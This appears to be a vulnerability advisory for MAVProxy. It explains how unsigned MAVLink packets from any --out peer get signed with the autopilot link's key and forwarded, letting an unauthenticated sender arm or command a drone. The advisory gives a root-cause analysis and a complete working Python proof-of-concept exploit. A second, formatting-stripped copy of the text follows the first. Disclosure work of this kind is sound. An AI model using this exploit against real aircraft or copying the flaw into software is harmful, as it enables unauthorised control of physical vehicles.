Summary
When MAVProxy has a signing key loaded for its master (autopilot) link, the slave-to-master forwarder unconditionally signs any unsigned MAVLink packet that arrives on a --out slave link before forwarding it upstream. There is no authentication of the slave-side sender. Any peer that can deliver UDP packets to a --out udpin: listener (or write bytes to any other --out transport) can therefore have arbitrary commands — including MAV_CMD_COMPONENT_ARM_DISARM — minted with a valid signature under the master link's signing key and accepted by the autopilot as authentic.
In effect, loading a signing key into MAVProxy delegates that key's full authority to every peer reachable on every --out link, regardless of whether that peer ever possessed the passphrase.
Tested against master at 61a4e088 (2025-04-25).
Impact
Severity in a typical companion-computer deployment is high:
- The standard documented pattern for letting a ground station connect over WiFi is
--out udpin:0.0.0.0:14550. Once a signing key is loaded, anyone who can route a UDP packet to that address (e.g. on the drone's WiFi network) can issue ARM/DISARM, mode changes, mission uploads, parameter writes, and any other COMMAND_LONG/COMMAND_INT the autopilot will accept.
- The attacker does not need the signing passphrase, never sees the key bytes, and does not need to be on-path between MAVProxy and the autopilot.
- The relevant setting (
mavfwd_signing) defaults to True, so the dangerous behavior is on by default whenever signing is configured.
- The MAVLink specification calls out exactly this trust-boundary concern when it requires that
SETUP_SIGNING "must never be automatically forwarded" between channels. The defect here leaks the use of the key across the same kind of boundary, which is materially the same authority.
Root cause
process_mavlink (MAVProxy/mavproxy.py:879) is invoked for every readable slave fd registered in the main select loop (MAVProxy/mavproxy.py:1167-1169, dispatched at 1198-1200 and 1205-1208). For each parsed message it picks a master link as the forwarding destination and then runs the re-signing branch:
# MAVProxy/mavproxy.py:899-913
if allow_fwd:
for m in msgs:
target_sysid = getattr(m, 'target_system', -1)
if mpstate.settings.mavfwd_link > 0 and mpstate.settings.mavfwd_link <= len(mpstate.mav_master):
output = mpstate.mav_master[mpstate.settings.mavfwd_link-1]
else:
# find best link by sysid
output = mpstate.master(target_sysid)
if (mpstate.settings.mavfwd_signing and
output.mav.signing.sign_outgoing and
(m._header.incompat_flags & mavutil.mavlink.MAVLINK_IFLAG_SIGNED) == 0):
# repack the message if this is a signed link and not already signed
m.pack(output.mav)
output.write(m.get_msgbuf())
The three conditions guarding the re-pack are all properties of the destination master link, never of the source:
mpstate.settings.mavfwd_signing — global setting, defaults to True (MAVProxy/mavproxy.py:253).
output.mav.signing.sign_outgoing — the master's signing state.
- The inbound packet does not have
MAVLINK_IFLAG_SIGNED set.
There is no condition that distinguishes a trusted internal source from an untrusted external --out peer. The signing module only ever installs sign_outgoing=True on master connections (MAVProxy/modules/mavproxy_signing.py:96 and :121, called for masters from MAVProxy/modules/mavproxy_link.py:445; the iteration at MAVProxy/modules/mavproxy_signing.py:134-135 is over mpstate.mav_master only). Slave mav_outputs connections have no signing state and are not authenticated in any other way before their packets reach the re-pack branch.
m.pack(output.mav) re-serializes the parsed message through the master link's MAVLink object, which appends a valid HMAC signature using the master link's secret key. output.write(m.get_msgbuf()) then sends the now-signed buffer to the autopilot, which accepts it.
Reproduction
The PoC below uses only the documented MAVProxy CLI (--master, --out, --default-modules=signing, ~/.mavproxy/signing.keys) and standard UDP sockets. No source patches, no monkey-patching, no test doubles. The "autopilot" is replaced by a UDP socket that observes what MAVProxy emits on the master link; the offline verifier confirms the emitted packet's signature against the master passphrase.
Save as repro.py, place a checkout of MAVProxy at ./MAVProxy/, create a venv at ./mp-venv/ with pymavlink and pyserial installed, then run mp-venv/bin/python repro.py.
#!/usr/bin/env python3
import hashlib, os, select, shutil, socket, subprocess, tempfile, time
from pathlib import Path
from pymavlink import mavutil
HERE = Path(__file__).parent.resolve()
MAVPROXY = HERE / "MAVProxy"
MAVPROXY_MAIN = MAVPROXY / "MAVProxy" / "mavproxy.py"
PYTHON = HERE / "mp-venv" / "bin" / "python"
PASSPHRASE = "ralphpass"
SIGNING_KEY = hashlib.sha256(PASSPHRASE.encode("ascii")).digest()
COMMAND = mavutil.mavlink.MAV_CMD_COMPONENT_ARM_DISARM
def free_udp_port():
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.bind(("127.0.0.1", 0))
p = s.getsockname()[1]
s.close()
return p
def make_unsigned_command():
mav = mavutil.mavlink.MAVLink(None, srcSystem=42, srcComponent=190)
msg = mavutil.mavlink.MAVLink_command_long_message(
1, 1, COMMAND, 0, 1, 0, 0, 0, 0, 0, 0,
)
return msg.pack(mav)
def verifier():
mav = mavutil.mavlink.MAVLink(None)
mav.signing.secret_key = SIGNING_KEY
mav.signing.timestamp = 0
return mav
def recv_command(sock, deadline):
parser = verifier()
while time.time() < deadline:
timeout = max(0.0, min(0.25, deadline - time.time()))
if not select.select([sock], [], [], timeout)[0]:
continue
data, _ = sock.recvfrom(4096)
try:
msgs = parser.parse_buffer(data) or []
except mavutil.mavlink.MAVError:
continue
for msg in msgs:
if msg.get_type() == "COMMAND_LONG" and msg.command == COMMAND:
return data, msg
return None, None
def main():
master_port = free_udp_port()
out_port = free_udp_port()
work = Path(tempfile.mkdtemp(prefix="mavproxy-signing-repro-", dir="/tmp"))
receiver = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
receiver.bind(("127.0.0.1", master_port))
receiver.setblocking(False)
home = work / "home"
(home / ".mavproxy").mkdir(parents=True)
(home / ".mavproxy" / "signing.keys").write_text(
f"udpout:127.0.0.1:{master_port} {PASSPHRASE}\n", encoding="ascii",
)
env = os.environ.copy()
env["HOME"] = str(home)
env["PYTHONPATH"] = str(MAVPROXY)
env["MAVLINK20"] = "1"
env["MAVLINK_DIALECT"] = "ardupilotmega"
cmd = [
str(PYTHON), str(MAVPROXY_MAIN),
"--master", f"udpout:127.0.0.1:{master_port}",
"--out", f"udpin:127.0.0.1:{out_port}",
"--mav20", "--nowait", "--daemon", "--non-interactive",
"--default-modules=signing",
"--state-basedir", str(work / "state"),
"--aircraft", "repro",
]
proc = subprocess.Popen(
cmd, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, text=True, env=env,
)
try:
time.sleep(1.5)
if proc.poll() is not None:
raise RuntimeError(f"MAVProxy exited early\n{proc.stdout.read()}")
attacker = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
unsigned = make_unsigned_command()
attacker.sendto(unsigned, ("127.0.0.1", out_port))
forwarded, msg = recv_command(receiver, time.time() + 5.0)
signed_bit = bool(unsigned[2] & mavutil.mavlink.MAVLINK_IFLAG_SIGNED)
print(f"input_len={len(unsigned)} signed_bit={signed_bit}")
if forwarded is None:
raise SystemExit("no master-key-verified COMMAND_LONG observed")
out_signed = bool(forwarded[2] & mavutil.mavlink.MAVLINK_IFLAG_SIGNED)
print(f"output_len={len(forwarded)} signed_bit={out_signed}")
print(f"verifies_with_master_key=True command={msg.command}")
print(f"output_hex={forwarded.hex()}")
finally:
proc.terminate()
try:
proc.wait(timeout=3)
except subprocess.TimeoutExpired:
proc.kill()
receiver.close()
shutil.rmtree(work, ignore_errors=True)
if __name__ == "__main__":
main()
Observed output (against 61a4e088)
input_len=41 signed_bit=False
output_len=57 signed_bit=True
verifies_with_master_key=True command=400
output_hex=fd20010000ffe64c00000000803f0000000000000000000000000000000000000000000000009001010100... (signature truncated)
The 41-byte unsigned input arrives at MAVProxy's --out listener; a 57-byte packet (16 additional bytes — the link ID, timestamp, and HMAC signature suffix) is emitted on the master link with IFLAG_SIGNED set, and verifies offline against the SHA-256 of ralphpass. The exploit requires no knowledge of the passphrase; the signing.keys file is never read by the attacker side.
Summary
When MAVProxy has a signing key loaded for its master (autopilot) link, the slave-to-master forwarder unconditionally signs any unsigned MAVLink packet that arrives on a
--outslave link before forwarding it upstream. There is no authentication of the slave-side sender. Any peer that can deliver UDP packets to a--out udpin:listener (or write bytes to any other--outtransport) can therefore have arbitrary commands — includingMAV_CMD_COMPONENT_ARM_DISARM— minted with a valid signature under the master link's signing key and accepted by the autopilot as authentic.In effect, loading a signing key into MAVProxy delegates that key's full authority to every peer reachable on every
--outlink, regardless of whether that peer ever possessed the passphrase.Tested against
masterat61a4e088(2025-04-25).Impact
Severity in a typical companion-computer deployment is high:
--out udpin:0.0.0.0:14550. Once a signing key is loaded, anyone who can route a UDP packet to that address (e.g. on the drone's WiFi network) can issue ARM/DISARM, mode changes, mission uploads, parameter writes, and any other COMMAND_LONG/COMMAND_INT the autopilot will accept.mavfwd_signing) defaults toTrue, so the dangerous behavior is on by default whenever signing is configured.SETUP_SIGNING"must never be automatically forwarded" between channels. The defect here leaks the use of the key across the same kind of boundary, which is materially the same authority.Root cause
process_mavlink(MAVProxy/mavproxy.py:879) is invoked for every readable slave fd registered in the mainselectloop (MAVProxy/mavproxy.py:1167-1169, dispatched at1198-1200and1205-1208). For each parsed message it picks a master link as the forwarding destination and then runs the re-signing branch:The three conditions guarding the re-pack are all properties of the destination master link, never of the source:
mpstate.settings.mavfwd_signing— global setting, defaults toTrue(MAVProxy/mavproxy.py:253).output.mav.signing.sign_outgoing— the master's signing state.MAVLINK_IFLAG_SIGNEDset.There is no condition that distinguishes a trusted internal source from an untrusted external
--outpeer. The signing module only ever installssign_outgoing=Trueon master connections (MAVProxy/modules/mavproxy_signing.py:96and:121, called for masters fromMAVProxy/modules/mavproxy_link.py:445; the iteration atMAVProxy/modules/mavproxy_signing.py:134-135is overmpstate.mav_masteronly). Slavemav_outputsconnections have no signing state and are not authenticated in any other way before their packets reach the re-pack branch.m.pack(output.mav)re-serializes the parsed message through the master link'sMAVLinkobject, which appends a valid HMAC signature using the master link's secret key.output.write(m.get_msgbuf())then sends the now-signed buffer to the autopilot, which accepts it.Reproduction
The PoC below uses only the documented MAVProxy CLI (
--master,--out,--default-modules=signing,~/.mavproxy/signing.keys) and standard UDP sockets. No source patches, no monkey-patching, no test doubles. The "autopilot" is replaced by a UDP socket that observes what MAVProxy emits on the master link; the offline verifier confirms the emitted packet's signature against the master passphrase.Save as
repro.py, place a checkout of MAVProxy at./MAVProxy/, create a venv at./mp-venv/withpymavlinkandpyserialinstalled, then runmp-venv/bin/python repro.py.Observed output (against
61a4e088)The 41-byte unsigned input arrives at MAVProxy's
--outlistener; a 57-byte packet (16 additional bytes — the link ID, timestamp, and HMAC signature suffix) is emitted on the master link withIFLAG_SIGNEDset, and verifies offline against the SHA-256 ofralphpass. The exploit requires no knowledge of the passphrase; thesigning.keysfile is never read by the attacker side.